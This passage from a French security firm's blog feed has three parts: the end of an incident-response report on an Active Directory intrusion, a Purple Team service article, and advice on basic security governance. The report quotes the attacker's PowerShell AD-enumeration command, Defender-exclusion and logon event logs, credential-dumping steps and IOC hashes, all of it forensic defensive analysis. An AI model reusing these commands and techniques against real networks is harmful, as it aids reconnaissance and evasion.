Guid="{5D896912-022D-40AA-A3A8-4FA5515C76D7}"/&gt;
 &lt;EventID&gt;21&lt;/EventID&gt;
 &lt;Version&gt;0&lt;/Version&gt;
 &lt;Level&gt;4&lt;/Level&gt;
 &lt;Task&gt;0&lt;/Task&gt;
 &lt;Opcode&gt;0&lt;/Opcode&gt;
 &lt;Keywords&gt;0x1000000000000000&lt;/Keywords&gt;
 &lt;TimeCreated SystemTime="2024-11-06T06:09:58.358095300Z"/&gt;
 &lt;EventRecordID&gt;13650&lt;/EventRecordID&gt;
 &lt;Correlation/&gt;
 &lt;Execution ProcessID="772" ThreadID="6560"/&gt;
 &lt;Channel&gt;Microsoft-Windows-TerminalServicesLocalSessionManager/Operational&lt;/Channel&gt;
 &lt;Computer&gt;DTC-FS.internal.REDACTED1.com&lt;/Computer&gt;
 &lt;Security UserID="S-1-5-18"/&gt;
 &lt;/System&gt;
 &lt;UserData&gt;
 &lt;EventXML xmlns:auto-ns3="http://schemas.microsoft.com/win/2004/08/events" 
xmlns="Event_NS"&gt;
 &lt;User&gt;REDACTED1\vmware&lt;/User&gt;
 &lt;SessionID&gt;2&lt;/SessionID&gt;
 &lt;Address&gt;10.0.11.4&lt;/Address&gt;
 &lt;/EventXML&gt;
 &lt;/UserData&gt;
&lt;/Event&gt;
</code></pre>
<p>L’eventID 21 nous indique l’ouverture d’une session RDP sur la machine cible.</p>
<p>Lors des connexions interactives, Notepad et l’outil de capture d’écran Windows sont utilisés afin de récupérer des informations sur l’environnement cible. Sur le périmètre <strong>REDACTED2</strong>, l’attaquant a tenté un password spray afin d’identifier les serveurs ou poste de travail où les comptes compromis dans le domaine <strong>REDACTED1</strong> pouvaient être utilisés. Le compte svc_varonis a été utilisé suite à cela par l’attaquant sur le serveur SRVFILES.</p>
<p>Les actions sur le périmètre <strong>REDACTED2</strong> ont été détectées par SentinelOne et la collecte des journaux Active Directory sur le SOC.</p>
<h3 id="heading-credential-access-amp-discovery">Credential Access &amp; Discovery</h3>
<p>L’acteur malveillant a entrepris une phase de reconnaissance du domaine Active Directory, comme l’atteste la commande powershell exécutée avec le compte vmware sur DTC-DC01 :</p>
<pre><code class="lang-plaintext">Get-ADComputer -Filter * -Property * | Select-Object Enabled, Name, DNSHostName, 
IPv4Address, OperatingSystem, Description, CanonicalName, servicePrincipalName, 
LastLogonDate, whenChanged, whenCreated | export-csv -path 
C:\ProgramData\AdComputers.csv
</code></pre>
<p>Le fichier AdComputer.csv contient la liste des ordinateurs présents dans l’annuaire Active Directory de <strong>REDACTED1</strong>. Il semble que l’acteur malveillant disposait d’informations préalablement à son attaque, notamment au travers du fait que les comptes linuxprinter &amp; vmware, tout les deux étant privilégiés, ont été utilisés directement, dès le 5 novembre.</p>
<p>Cependant, les champs de description des objets dans l’Active Directory comportent des mots de passe, ce qui n’est pas une bonne pratique</p>
<p>L’utilisation des outils Netscan &amp; Advanced IP Scanner permettent de découvrir le réseau et de valider les accès sur le parc :</p>
<pre><code class="lang-plaintext">&lt;13&gt;Nov 06 08:47:04 SRVDC11 AgentDevice=WindowsLog AgentLogFile=Security 
PluginVersion=7.3.1.28 Source=Microsoft-Windows-Security-Auditing 
Computer=SrvDC11.ad.REDACTED2.fr OriginatingComputer=192.9.101.15 User= Domain= 
EventID=5145 EventIDCode=5145 EventType=8 EventCategory=12811 
RecordNumber=1930282261 TimeGenerated=1730879222 TimeWritten=1730879222 Level=Log 
Always Keywords=Audit Success Task=SEADTOBJECTACCESSDETAILEDFILESHARE Opcode=Info 
Message=A network share object was checked to see whether client can be granted 
desired access. Subject: Security ID: REDACTED2\svcvaronis Account Name: svc_varonis 
Account Domain: REDACTED2 Logon ID: 0x33633592 Network Information: Object Type: File 
Source Address: 10.0.11.4 Source Port: 60284 Share Information: Share Name: 
\*\Users Share Path: \??\C:\Users Relative Target Name: delete.me Access Request 
Information: Access Mask: 0x2 Accesses: WriteData (or AddFile) Access Check 
Results: WriteData (or AddFile): Granted by D:(A;OICI;FA;;;WD)
</code></pre>
<p>La création du fichier <a target="_blank" href="http://delete.me">delete.me</a> dans le C:\Users est une vérification des droits d’accès avec l’outil netscan.</p>
<p>Comme montré plus haut, l’acteur malveillant a procédé à un dump de mémoire du processus LSASS, permettant ainsi d’obtenir les hash des utilisateurs du domaine REDACTED1, et notamment du compte svc_varonis, dont nous observons son utilisation peu après.</p>
<p>Sur SRVFiles, c’est un dump de de la base de registre SAM qui a été réalisée par l’attaquant et détectée par l’EDR SentinelOne</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756461343336/234cf113-1b48-4231-b670-df037499e945.png" alt class="image--center mx-auto" /></p>
<p>Suite à cette action, il n’a pas été observé d’autres activités de ce type. Le déploiement de LAPS sur le domaine <strong>REDACTED2</strong> a permis de maitriser l’impact de l’activité et réduire le risque d’une latéralisation réussie par l’attaquant.</p>
<h3 id="heading-defense-evasion">Defense Evasion</h3>
<p>Sur le serveur DTC-DC01, l’acteur a mis en place une exclusion à la racine du disque C:\ à 06h19, avant le dépôt de netscan &amp; Advanced IP Scanner. Il n’a pas été observé d’autres actions d’évasion par l’attaquant.</p>
<pre><code class="lang-plaintext">&lt;Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"&gt;
 &lt;System&gt;
 &lt;Provider Name="Microsoft-Windows-Windows Defender" Guid="{11CD958A-C507-4EF3-
B3F2-5FD9DFBD2C78}"/&gt;
 &lt;EventID&gt;5007&lt;/EventID&gt;
 &lt;Version&gt;0&lt;/Version&gt;
 &lt;Level&gt;4&lt;/Level&gt;
 &lt;Task&gt;0&lt;/Task&gt;
 &lt;Opcode&gt;0&lt;/Opcode&gt;
 &lt;Keywords&gt;0x8000000000000000&lt;/Keywords&gt;
 &lt;TimeCreated SystemTime="2024-11-06T06:19:18.889544100Z"/&gt;
 &lt;EventRecordID&gt;43412&lt;/EventRecordID&gt;
 &lt;Correlation/&gt;
 &lt;Execution ProcessID="19720" ThreadID="23656"/&gt;
 &lt;Channel&gt;Microsoft-Windows-Windows Defender/Operational&lt;/Channel&gt;
 &lt;Computer&gt;DTC-DC01.internal.REDACTED1.com&lt;/Computer&gt;
 &lt;Security UserID="S-1-5-18"/&gt;
 &lt;/System&gt;
 &lt;EventData&gt;
 &lt;Data Name="Product Name"&gt;Microsoft Defender Antivirus&lt;/Data&gt;
 &lt;Data Name="Product Version"&gt;4.18.24090.11&lt;/Data&gt;
 &lt;Data Name="Old Value"/&gt;
 &lt;Data Name="New Value"&gt;HKLM\SOFTWARE\Microsoft\Windows 
Defender\Exclusions\Paths\C:\ = 0x0&lt;/Data&gt;
 &lt;/EventData&gt;
&lt;/Event&gt;
</code></pre>
<h2 id="heading-cyber-threat-intelligence">Cyber Threat Intelligence</h2>
<h3 id="heading-tactics-techniques-amp-procedures-mitre-attampck">Tactics, Techniques &amp; Procedures – Mitre Att&amp;ck</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Tactique</td><td>Technique</td><td>ID</td><td>Usage</td></tr>
</thead>
<tbody>
<tr>
<td>Initial Access</td><td>External Remote Services</td><td>T1133</td><td>Utilisation d’un accès VPN</td></tr>
<tr>
<td>Initial Access</td><td>Valid Accounts</td><td>T1078</td><td>Utilisation d’un compte valide</td></tr>
<tr>
<td>Initial Access</td><td>Exploit Public-Facing Application</td><td>T1190</td><td>Potentielle exploitation de SonicWall</td></tr>
<tr>
<td>Execution</td><td>Command and Scripting Interpreter: Windows Command Shell</td><td>T1059.003</td><td>Utilisation de l’invite de commande Windows</td></tr>
<tr>
<td>Persistence</td><td>External Remote Services</td><td>T1133</td><td>Utilisation d’un accès VPN</td></tr>
<tr>
<td>Privilege Escalation</td><td>Valid Accounts: Domain Accounts</td><td>T1078.002</td><td>Utilisation de compte de domaine</td></tr>
<tr>
<td>Defense Evasion</td><td>Impair Defenses: Disable or Modify Tools</td><td>T1562.001</td><td>Création d’une exclusion dans Windows Defender</td></tr>
<tr>
<td>Credential Access</td><td>OS Credential Dumping: LSASS Memory</td><td>T1003.001</td><td>Dump de la mémoire de LSASS</td></tr>
<tr>
<td>Discovery</td><td>System Networks Connections Discovery</td><td>T1049</td><td>Scans de découverte réseau</td></tr>
<tr>
<td>Lateral Movement</td><td>Remote Services: Remote Desktop Protocol</td><td>T1021.001</td><td>Connexion via RDP sur des machines</td></tr>
<tr>
<td>Lateral Movement</td><td>Remote Services: SMB/Windows Admin Shares</td><td>T1021.002</td><td>Connexion via SMB sur des machines</td></tr>
<tr>
<td>Collection</td><td>Screen Capture</td><td>T1113</td><td>Reconnaissance et collecte d’informations</td></tr>
<tr>
<td>Collection</td><td>Data from Network Shared Drive</td><td>T1039</td><td>Reconnaissance et collecte d’informations</td></tr>
</tbody>
</table>
</div><h3 id="heading-indicateurs-de-compromission">Indicateurs de compromission</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Value</td><td>Type</td><td>Description</td></tr>
</thead>
<tbody>
<tr>
<td>Kali</td><td>hostname</td><td></td></tr>
<tr>
<td>DESKTOP-EEKR377</td><td>hostname</td><td></td></tr>
<tr>
<td>DESKTOP-7MLGUB7</td><td>hostname</td><td></td></tr>
<tr>
<td>D0C1662CE239E4D288048C0E3324EC52962F6DDDA77DA0CB7AF9C1D9C2F1E2EB</td><td>sha256</td><td>Advanced_Port_Scanner _2.5.3869.exe</td></tr>
<tr>
<td>8b9c7d2554fe315199fae656448dc193ac cbec162d4afff3f204ce2346507a8a</td><td>sha256</td><td>Avanced_port_scanner.exe</td></tr>
<tr>
<td>a8a7fdbbc688029c0d97bf836da9ece9 26a85e78986d0e1ebd9b3467b3a72258</td><td>sha256</td><td>netscan.exe in c:\programData\Progra mData\netscan - Copy\netscan\netscan.exe</td></tr>
<tr>
<td>A5586F9C6FC5AF5E955C7CEAD5CC30F 2EF3C6A931DC1C3A00A9A8E4D344429BA</td><td>sha256</td><td>netscan.xml</td></tr>
<tr>
<td>bfa8763b628449b2601c11f959cc352d500f67ea</td><td>sha1</td><td>.1rar</td></tr>
</tbody>
</table>
</div><h2 id="heading-conclusion">Conclusion</h2>
<p>Cette investigation met en lumière une attaque opportuniste dont le point de départ fut la compromission totale d’un domaine Active Directory, suivie d’une tentative de latéralisation vers un second environnement.</p>
<p>L’attaquant, après s’être introduit via un accès VPN et avoir obtenu des privilèges administrateur, a exploité un lien de trust pour étendre sa présence. Bien que les traces disponibles ne révèlent ni exfiltration de données ni persistance avérée, elles soulignent des lacunes critiques : absence de journalisation réseau, rétention insuffisante des logs, et pratiques de sécurité perfectibles, notamment sur la gestion des identités et des accès</p>
<p>L’enquête n’a pas permis d’identifier avec certitude le vecteur d’entrée initial — qu’il s’agisse d’une vulnérabilité sur un équipement périmétrique ou de l’utilisation d’identifiants compromis — ni de déterminer précisément les mouvements de l’attaquant entre le 5 et le 6 novembre, en raison de l’absence de journaux réseau. Ces limites rappellent l’importance d’une collecte exhaustive et d’une conservation adaptée des logs pour une réponse sur incident efficace.</p>
<p>Si la réactivité des équipes a permis de contenir rapidement la menace et d’éviter tout impact majeur, cet incident doit servir de catalyseur pour renforcer la posture de sécurité globale. Le durcissement des infrastructures, l’application systématique du MFA, et une surveillance accrue des accès et des mouvements latéraux s’imposent comme des priorités absolues.</p>
<p>Enfin, cette attaque opportuniste confirme une fois de plus qu’un seul maillon faible — un compte mal sécurisé, une vulnérabilité non corrigée — peut suffire à compromettre l’ensemble d’un écosystème IT. La vigilance, la segmentation des réseaux et l’hygiène des comptes restent les meilleurs remparts contre ce type de menace.</p>
]]></content:encoded></item><item><title><![CDATA[Purple Team
Quand l'attaque et la défense s'allient pour renforcer votre sécurité]]></title><description><![CDATA[Introduction
Aujourd’hui, les entreprises font face à des attaquants de plus en plus organisés et techniques. Nous effectuons régulièrement des pentests chez nos clients pour anticiper la menace,  fournissons des plans d’actions réalistes et actionna...]]></description><link>https://blog.login-securite.com/purple-team-quand-lattaque-et-la-defense-sallient-pour-renforcer-votre-securite</link><guid isPermaLink="true">https://blog.login-securite.com/purple-team-quand-lattaque-et-la-defense-sallient-pour-renforcer-votre-securite</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 01 Sep 2025 06:00:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/EUsVwEOsblE/upload/1b928f92df3f96d002ce689fb386e533.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="hn-embed-widget" id="romainbentz"></div><p> </p>
<h1 id="heading-introduction">Introduction</h1>
<p>Aujourd’hui, les entreprises font face à des attaquants de plus en plus organisés et techniques. Nous effectuons régulièrement des <strong>pentests</strong> chez nos clients pour anticiper la menace,  fournissons des plans d’actions réalistes et actionnables, et nous accompagnons même nos clients dans les phases de <strong>remédiation</strong> pour effectivement améliorer le niveau de sécurité du système d’information. En effet, nous savons bien qu’il est toujours compliqué pour une entreprise d’avoir le temps, les bras et les connaissances nécessaires pour corriger des vulnérabilités sans perturber la prod.</p>
<p>Malgré tout cela, une entreprise ne sera jamais 100% protégée, sans aucune vulnérabilité. Le risque d’intrusion est toujours présent, il faut absolument en avoir conscience.</p>
<p>Les exercices <strong>Red Team</strong> que nous menons avec nos clients testent à la fois les capacités de détection de l’entreprise et l'efficacité des processus de réponse à incident face à des scénarios d'attaque réalistes.</p>
<p>Ces différentes missions d’audit et d’accompagnement sont très efficaces, mais présentent une limite importante : Elles ne permettent pas toujours une amélioration immédiate et efficace des <strong>capacités de détection</strong>. C'est là qu'intervient le <strong>Purple Team</strong>, qui combine les forces de l'attaque et de la défense pour combler les trous dans la détection.</p>
<p>Un Purple Team, c'est littéralement la fusion du rouge et du bleu. Rouge pour la Red Team (l'équipe d'attaque), bleu pour la Blue Team (l'équipe de défense).</p>
<p>Un Purple Team représente une approche collaborative où les équipes d'attaque et de défense travaillent main dans la main, en temps réel, pour identifier et corriger immédiatement les failles de détection. C'est un changement de paradigme fondamental : on passe d'une logique d'audit à une logique de <strong>collaboration</strong>.</p>
<h1 id="heading-lequipe-purple-team-chez-login-securite">L'équipe Purple Team chez Login Sécurité</h1>
<p>Ce qui nous distingue fondamentalement chez Login Sécurité, c'est notre approche <strong>multi-casquettes</strong>. Nous ne sommes pas seulement des pentesters, ni uniquement des analystes SOC. Nous sommes les deux à la fois, et c'est là toute notre force.</p>
<p>Nos consultants évoluent entre les différentes activités : ils <strong>mènent des tests d'intrusion</strong> une semaine, <strong>analysent des incidents de sécurité</strong> au sein du SOC la semaine suivante, et accompagnent nos clients dans <strong>l'amélioration de leurs règles de détection</strong> le mois d’après. Cette polyvalence n'est pas un hasard, c'est notre conviction profonde qu’un profil cybersécurité se construit en développant des connaissances autour des différents piliers de la cyber.</p>
<p>Un consultant Login Sécurité qui a passé des mois à analyser des alertes au sein du SOC comprend alors  les <strong>défis de la détection</strong> : les faux positifs qui polluent les tableaux de bord, les corrélations complexes à mettre en place, les limites des outils de SIEM. Quand ce même consultant passe en mode "attaquant" pour un pentest, il sait exactement quelles techniques ont le plus de chances de passer inaperçues.</p>
<p>À l'inverse, un expert qui <strong>maîtrise les dernières techniques d'attaque</strong> apporte une valeur inestimable quand il travaille côté défense. Il sait reconnaître les IOC (Indicators of Compromise), anticiper les mouvements de l'attaquant, et proposer des règles de détection vraiment efficaces.</p>
<p>Cette <strong>double compétence attaque/défense</strong> de nos équipes est l'élément clé qui rend nos exercices Purple Team si efficaces. Nos consultants comprennent les contraintes opérationnelles du SOC autant que les motivations de l'attaquant.</p>
<p>Résultat ? Des exercices Purple Team où chaque recommandation est opérationnellement réaliste et chaque amélioration proposée a été éprouvée sur le terrain.</p>
<h1 id="heading-notre-methodologie">Notre méthodologie</h1>
<p>Contrairement à un pentest classique où l'auditeur est majoritairement autonome lors de son audit, nous travaillons en <strong>binômes attaque/défense</strong> pour créer une dynamique d'amélioration continue.</p>
<p>L'exercice se déroule en minimum <strong>deux sessions</strong> distinctes, chacune apportant sa valeur ajoutée spécifique. Cette approche en deux temps nous permet de valider l'efficacité des améliorations apportées et de tester la robustesse des nouvelles règles de détection. Ces deux sessions peuvent être répétées plusieurs fois pour un cycle d’amélioration qui va plus en profondeur.</p>
<h2 id="heading-premiere-session-identification-et-amelioration">Première session : Identification et amélioration</h2>
<h3 id="heading-reunion-de-cadrage-purple-team">Réunion de cadrage Purple Team</h3>
<p>Tout commence par une réunion de cadrage approfondie avec vos équipes. Cette étape est cruciale car elle détermine la pertinence de l'ensemble de l'exercice. Nous validons ensemble le périmètre technique, identifions vos objectifs prioritaires (améliorer la détection des mouvements latéraux ? Optimiser la détection d'exfiltration ?), et confirmons les capacités théoriques de détection.</p>
<p>Mais surtout, nous proposons des <strong>scénarios d'attaques précis</strong> adaptés à votre environnement. Chaque scénario est pensé pour tester vos points de vigilance spécifiques et challenger vos règles existantes.</p>
<h3 id="heading-realisation-des-audits-en-mode-collaboratif">Réalisation des audits en mode collaboratif</h3>
<p>Nous avons développé deux modes de collaboration selon votre maturité et vos préférences :</p>
<p><strong>• Mode collaboration directe</strong> : Nos équipes Red et Blue travaillent en communication semi-permanente. Nous utilisons le framework Vectr pour documenter en temps réel chaque action d'attaque et chaque réaction (ou absence de réaction) de votre SOC. Des réunions d'avancement quotidiennes permettent d'analyser immédiatement ce qui a été détecté ou non, et surtout pourquoi. Cette approche ultra-collaborative est particulièrement efficace pour les équipes SOC qui souhaitent monter rapidement en compétences et comprendre les subtilités des techniques d'attaque.</p>
<p><strong>• Mode semi-indépendance</strong> : Pour reproduire au maximum le comportement d'un vrai attaquant, nous espaçons les communications entre les équipes. Les informations sont regroupées lors de réunions à intervalles définis, toujours documentées dans Vectr. Cette approche permet de tester la détection dans des conditions plus réalistes.</p>
<p>Dans les deux cas, nous accompagnons vos équipes pour <strong>améliorer les règles de détection</strong> en direct. Quand une technique passe inaperçue, nous ne nous contentons pas de le noter : nous travaillons immédiatement avec vos analystes pour comprendre pourquoi et proposer des améliorations.</p>
<h3 id="heading-reunion-de-bilan-de-session">Réunion de bilan de session</h3>
<p>À l'issue de cette première session, nous organisons une réunion de bilan :</p>
<ul>
<li><p><strong>Analyse de la détection :</strong> Nous voyons ensemble ce qui a été détecté ou non, afin d’expliquer les causes des non-détections, et donc d’identifier les angles morts de la couverture.</p>
</li>
<li><p><strong>Échanges sur les faiblesses :</strong> Nous discutons des choix stratégiques pour corriger les faiblesses. Faut-il améliorer la collecte de logs ? Affiner les corrélations ? Modifier les seuils d'alerte ? Ces décisions se prennent ensemble, en tenant compte de vos contraintes opérationnelles.</p>
</li>
<li><p><strong>Adaptation des scénarios :</strong> Pour les attaques qui ont été détectées, notre équipe Red prépare déjà des <strong>scénarios alternatifs</strong> pour la seconde session, et développera et/ou modifiera des outils qui permettent d’atteindre les mêmes objectifs d’attaque, mais de différentes manières. L'objectif ? Vérifier que vos règles de détection sont robustes et ne se limitent pas à détecter une variante spécifique d'une technique.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755762435490/ad500f1b-398b-4b2c-8471-dd1a5d83acbc.png" alt="Exemple de scénario d'attaque dans Vectr" class="image--center mx-auto" /></p>
<h2 id="heading-seconde-session-validation-et-robustesse">Seconde session : Validation et robustesse</h2>
<p>La seconde session se concentre sur deux aspects essentiels :</p>
<ul>
<li><p><strong>Test des variations d'attaque :</strong> Nous reprenons tous les scénarios qui ont été détectés lors de la première session, mais cette fois avec des <strong>variations techniques</strong>. Si votre SOC a détecté un mouvement latéral via l’outil <a target="_blank" href="http://psexec.py">psexec.py</a> de la suite « impacket », nous testerons la même technique mais avec quelques modifications apportées à l’outil. L'objectif ? S'assurer que votre détection ne repose pas sur un IOC trop spécifique mais capture bien l'essence de l'attaque.</p>
</li>
<li><p><strong>Validation des améliorations :</strong> Toutes les règles de détection implémentées suite à la première session sont testées en conditions réelles. C'est le moment de vérifier que les améliorations fonctionnent effectivement et qu'elles ne génèrent pas trop de faux positifs.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755762530578/e5e84bae-b645-4e73-a297-3e161bd9dc5a.png" alt="Capacité de détection et de blocage des attaques" class="image--center mx-auto" /></p>
<h2 id="heading-flexibilite-et-adaptation">Flexibilité et adaptation</h2>
<p>Notre méthodologie reste <strong>flexible</strong> et s'adapte à vos découvertes et à l'évolution de vos besoins. La répartition entre les journées d'audit technique et d'amélioration peut évoluer en cours d'exercice selon les enjeux identifiés. Cette adaptabilité garantit que vous tirez le maximum de bénéfices de chaque journée d'intervention.</p>
<p>Le framework <a target="_blank" href="https://docs.vectr.io/"><strong>Vectr</strong></a> que nous utilisons vous reste accessible après notre intervention, vous permettant de capitaliser sur la documentation de l'exercice et de continuer à améliorer vos processus en autonomie.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755762709818/00fb698e-a09f-47bf-a07a-e7c401f94d87.png" alt="Chaque attaque est accompagnée d'IOC et d'explications" class="image--center mx-auto" /></p>
<h1 id="heading-cas-dusage-et-retours-dexperience">Cas d'usage et retours d'expérience</h1>
<h2 id="heading-amelioration-de-la-detection-de-mouvement-lateral">Amélioration de la détection de mouvement latéral</h2>
<p>Chez un client du secteur universitaire, nous avons découvert que les techniques de mouvement latéral passaient inaperçues. Des événements clés étaient effectivement émis sur les contrôleurs de domaine et sur les serveurs, mais n’étaient pas centralisés dans le SIEM.</p>
<p>Pendant l'exercice, nous avons travaillé avec les équipes de détection pour donner la liste de ces événements, et développer une règle permettant de détecter des attaques de type « <em>pass-the-hash</em> » avec un outil comme PsExec par exemple.</p>
<p>Cette amélioration a été effective immédiatement, pendant l'exercice. Nous avons pu valider la nouvelle règle en direct.</p>
<h2 id="heading-detection-des-premieres-collectes">Détection des premières collectes</h2>
<p>Un autre client, dans le secteur de l’alimentation, avait des difficultés à détecter des collectes effectuées par un attaquant, notamment concernant son annuaire LDAP. Un attaquant était en mesure de récupérer presque l’entièreté de son annuaire sans que ça ne lève une seule alerte.</p>
<p>Le Purple Team a permis de mettre ce défaut en évidence, et de fournir les informations et leviers nécessaires à l’équipe SOC pour que cette reconnaissance soit immédiatement détectée, ce qui est un point crucial pour stopper un attaquant avant même qu’il ait eu le temps de faire du mouvement latéral, voire d’élever ses privilèges.</p>
<p>Complémentarité avec les autres services Login Sécurité</p>
<p>Un Purple Team s'inscrit parfaitement dans une démarche globale de cybersécurité. Elle complète idéalement nos autres services :</p>
<ul>
<li><p><strong>Après un audit classique</strong> : Le Purple Team permet de valider que les correctifs apportés suite à un audit sont efficaces et bien détectés par le SOC.</p>
</li>
<li><p><strong>Avant un exercice Red Team</strong> : Elle permet d'optimiser les capacités de détection avant de subir un vrai test d'intrusion en conditions réelles.</p>
</li>
<li><p><strong>En complément du SOC managé</strong> : Pour les clients qui utilisent notre SOC managé, le Purple Team permet d'optimiser régulièrement les règles de détection et de maintenir un niveau de vigilance élevé.</p>
</li>
<li><p><strong>Avec la formation</strong> : Nos sessions de formation en cybersécurité peuvent être adaptées suite à un exercice Purple Team pour répondre aux besoins spécifiques identifiés.</p>
</li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Le Purple Team est une approche dynamique, collaborative, et orientée amélioration continue.</p>
<p>Chez Login Sécurité, nous sommes convaincus que le Purple Team permet de significativement améliorer la posture de sécurité d’une entreprise en apportant une vision claire et complète de la capacité de détection de celle-ci.</p>
<p>Les équipes SOC qui ont participé à nos exercices Purple Team profitent de l’expertise de Login Sécurité pour mieux comprendre leurs mécanismes de détection, les événements à analyser, ce qui les rend plus performant dans leur travail quotidien d’analyse d’incidents.</p>
<p>Si votre organisation dispose d'un SOC opérationnel et souhaite passer au niveau supérieur en matière de détection des menaces avancées, le Purple Team pourrait être exactement ce dont vous avez besoin.</p>
]]></content:encoded></item><item><title><![CDATA["On fera ça plus tard" : et c’est comme ça qu’ils se sont fait rançonner]]></title><description><![CDATA[Une attaque. Un week-end. Zéro sauvegarde exploitable.
Voilà comment un industriel français a perdu deux semaines de production en 2024. Et il n’était pas “ciblé” : une simple faille VPN non patchée, un mot de passe devinable, et un ransomware qui a ...]]></description><link>https://blog.login-securite.com/on-fera-ca-plus-tard-et-cest-comme-ca-quils-se-sont-fait-ranconner</link><guid isPermaLink="true">https://blog.login-securite.com/on-fera-ca-plus-tard-et-cest-comme-ca-quils-se-sont-fait-ranconner</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Wed, 06 Aug 2025 09:36:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/SYofhg_IX3A/upload/9cb073a20238d8db4001ae392c66d51e.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="hn-embed-widget" id="benoitdehaene"></div><p> </p>
<p>Une attaque. Un week-end. Zéro sauvegarde exploitable.</p>
<p>Voilà comment un industriel français a perdu deux semaines de production en 2024. Et il n’était pas “ciblé” : une simple faille VPN non patchée, un mot de passe devinable, et un ransomware qui a fait le reste. Coût estimé : 1,3 million d’euros. Pas de quoi sourire.</p>
<p>Ces histoires, on en entend chaque mois. On les lit dans les bilans de l’ANSSI, dans les alertes sectorielles. Et pourtant, dans beaucoup d’ETI ou de grands groupes, la cybersécurité reste une “to do list” non prioritaire. Manque de temps, de compétences, ou simplement de méthode.</p>
<p>La bonne nouvelle ? Il n’est pas trop tard pour reprendre la main. Et vous n’avez pas besoin de viser ISO 27001 en 6 mois. Il suffit de poser <strong>la première brique</strong>, solidement.</p>
<h1 id="heading-premier-reflexe-blinder-les-basiques">Premier réflexe : blinder les basiques</h1>
<p>Inutile de parler Bastion, CASB ou NAC tant que vos bases ne tiennent pas. Posez-vous ces questions simples :</p>
<ul>
<li><p>Les comptes à privilèges ont-ils une double authentification ?</p>
</li>
<li><p>Le compte administrateur local de mes serveurs a t’il le même mot de passe partout ? (ou ce fameux compte “support_dsi”?)</p>
</li>
<li><p>Qui a accès à quoi ? Et pourquoi ?</p>
</li>
<li><p>Un serveur vulnérable est-il encore en ligne sans correctif depuis mars ?</p>
</li>
<li><p>Que se passe-t-il si un fichier critique est supprimé ce soir ? Vous restaurez quoi ? Et quand ?</p>
</li>
</ul>
<p>Si vous hésitez, pas besoin de blâmer vos équipes. C’est juste le signe qu’il est temps d’<strong>organiser le socle de sécurité</strong>. Et là-dessus, les <strong>42 mesures d’hygiène de l’ANSSI</strong> sont un excellent début : claires, concrètes, validées.</p>
<h1 id="heading-trop-de-chantiers-priorisez-avec-methode">Trop de chantiers ? Priorisez avec méthode</h1>
<p>“On a trop à faire, on ne peut pas tout faire.” Exact. Mais vous pouvez faire <strong>mieux, par étapes</strong>. C’est exactement ce qu’on a formalisé chez Login Sécurité : un <strong>guide de maturité</strong> pensé pour vos réalités – pas pour les cabinets qui vivent dans les PowerPoint.</p>
<p>4 niveaux, de “minimal” à “élevé”. Pour chaque niveau, on vous dit :</p>
<p>➡ ce qui est critique,<br />➡ ce qui peut attendre,<br />➡ ce qui vous protège vraiment.</p>
<p>Ce n’est pas du copier-coller ISO 27001. C’est du retour d’incident, de l’audit terrain, du vécu. Et ça vous aide à arbitrer, à justifier un budget, à cadrer les équipes.</p>
<h1 id="heading-la-cybersecurite-ne-se-fait-pas-depuis-la-dsi-elle-se-decide-en-comex">La cybersécurité ne se fait pas depuis la DSI. Elle se décide en COMEX.</h1>
<p>Quand une organisation reste bloquée sur “des actions techniques à faire”, c’est souvent qu’elle manque d’un <strong>cadre de gouvernance clair</strong>.</p>
<p>Voici ce qu’il faut poser rapidement :</p>
<ul>
<li><p><strong>Un sponsor dans le COMEX</strong>, qui assume le sujet et débloque les arbitrages.</p>
</li>
<li><p><strong>Un RSSI identifié</strong>, avec des moyens, pas juste une casquette en plus.</p>
</li>
<li><p><strong>Des procédures simples</strong> : qui fait quoi en cas d’incident ? Qui valide un accès admin ? Qui gère les prestataires ?</p>
</li>
</ul>
<p>Et surtout, commencez à <strong>parler sécurité métier</strong> : “Combien coûte une journée sans ERP ?”, “Pendant combien de temps peut-on se passer des outils de prod ?”, “Avez vous conscience qu’en moyenne, une attaque par Ransomware, c’est 3 semaines d’indisponibilité de l’ensemble du SI?”. C’est là que la cybersécurité devient une priorité pour le Comex.</p>
<h1 id="heading-et-apres-passez-en-mode-risques-pilotes">Et après ? Passez en mode “risques pilotés”</h1>
<p>Une fois les fondations posées, vous pouvez sortir du mode pompier.<br />C’est le moment de <strong>cartographier les risques réels</strong> :</p>
<ul>
<li><p>Quels actifs sont les plus critiques ?</p>
</li>
<li><p>Où est la plus grosse exposition (outils SaaS ? industriels ? mobilité ?) ?</p>
</li>
<li><p>Quelles sont les menaces les plus probables pour vous ?</p>
</li>
</ul>
<p>Pas besoin de faire un “risk manager” de chaque chef de service. Mais une démarche simple, pilotée par le RSSI, vous permettra de cibler les vraies failles, d’anticiper, de sécuriser sans surinvestir.</p>
<h1 id="heading-en-resume-commencez-serieusement-mais-simplement">En résumé : commencez. Sérieusement, mais simplement.</h1>
<p>Vous n’êtes pas seul.</p>
<p>Login Sécurité est là pour vous accompagner, sans bullshit. On parle le même langage que vos équipes techniques, on connaît vos contraintes, on sait transformer vos chantiers en priorités actionnables.</p>
<p>Et on ne vous lâche pas après le PowerPoint.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">📢</div>
<div data-node-type="callout-text"><strong>Besoin d’un état des lieux rapide ? Envie de tester notre guide de maturité ? Ou juste besoin de savoir “par quoi commencer” ? </strong><a target="_self" href="mailto:contact@login-securite.com"><strong>Contactez-nous</strong></a>. Mieux vaut une heure maintenant qu’un mois d’arrêt demain.</div>
